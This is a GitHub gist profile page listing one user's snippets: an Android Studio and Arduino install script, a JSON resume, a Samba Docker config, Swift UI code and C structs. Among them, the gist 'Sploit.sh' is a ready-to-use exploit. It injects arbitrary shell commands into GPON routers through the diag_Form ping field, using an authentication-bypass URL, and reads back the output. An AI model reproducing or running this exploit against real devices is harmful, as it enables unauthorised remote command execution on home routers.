Skip to content

Instantly share code, notes, and snippets.

View luisfergromo's full-sized avatar
💭
👨🏻‍💻Programming

Luis Romo luisfergromo

💭
👨🏻‍💻Programming
View GitHub Profile
@luisfergromo
luisfergromo / Ada-Byron.sh
Created January 12, 2022 03:35
Install Android Studio & Arduino
#!/bin/bash
cd .\Downloads\
# curl https://dl.google.com/android/repository/android_m2repositoey_r47.zip
curl https://redirector.gvt1.com/edgedl/android/studio/install/2020.3.1.26/android-studio-2020.3.1.26-windows.exe -o android-studio.exe
curl https://downloads.arduino.cc/arduino-1.8.19-windows.exe -o arduino-ide.exe
# TODO: EXPORT Android-sdk & Android_HOME
.\android-studio.exe
cd /d "%ANDROID_SDK_ROOT%/tools/bin"
sdkmanager --licenses
# TODO: Accept all policy
[
{
"experiences": [
{
"id": 0,
"initialYear": 2017,
"position": "Project Manager And QA Tester",
"position_spa": "Administrador de proyectos y aseguramiento de calidad.",
"tasks": [
{
@luisfergromo
luisfergromo / Sploit.sh
Created February 26, 2021 00:37
bash Sploit.sh http://192.168.15.1 'ls '
#!/bin/bash
echo "[+] Sending the Command… "
# We send the commands with two modes backtick (`) and semicolon (;) because different models trigger on different devices
curl -k -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=\`$2\`;$2&ipv=0" $1/GponForm/diag_Form?images/ 2>/dev/null 1>/dev/null
echo "[+] Waiting…."
sleep 3
echo "[+] Retrieving the ouput…."
curl -k $1/diag.html?images/ 2>/dev/null | grep 'diag_result =' | sed -e 's/\\n/\n/g'
version: "3"
services:
samba:
network_mode: host
container_name: samba
image: dperson/samba:rpi
restart: always
command: '-u "username;password" -s "media;/media;yes;no" -s "downloads;/downloads;yes;no" -s "ssd;ssd;yes;no"'
stdin_open: true
tty: true
<div id="root"></div>
@luisfergromo
luisfergromo / .swift
Created April 23, 2018 18:40
Setup stackview function
let aTextField:UITextField = {
let tf = UITextField()
tf.placeholder = "Text Field"
tf.translatesAutoresizingMaskIntoConstraints = false
tf.backgroundColor = UIColor(white:0, alpha:0.03)
tf.borderStyle = .roundedRect
tf.font = UIFont.systemFont(ofSize: 14)
return tf
}()
@luisfergromo
luisfergromo / eRepaso2.h
Created March 14, 2017 20:23
ptrFunction typedef
typedef void(*punteroAFuncion)(Student**, int); //para no usarse en como void(print_class)(Student**,int) en el argumento de la función
typedef void(**FunctionPointerToFunction)(Student**, int);
@luisfergromo
luisfergromo / eRepaso2.h
Last active March 14, 2017 20:24
Sudent Struct
typedef struct {
int id;
char name[30];
}Student;
typedef struct {
int id;
char nombre[30];
}Student;
@luisfergromo
luisfergromo / RGB.c
Last active February 5, 2017 01:33
RGB struct
#include "RGB.h"
Color c;
void RGB_Function() { //This already works
c.value = 0xFF00AA00;
c.rgb.Red = 0;
c.rgb.Green = 170;
//c.rgb.Blue = 0;
//c.rgb.Alpha = 255;
c.array[2] = 0;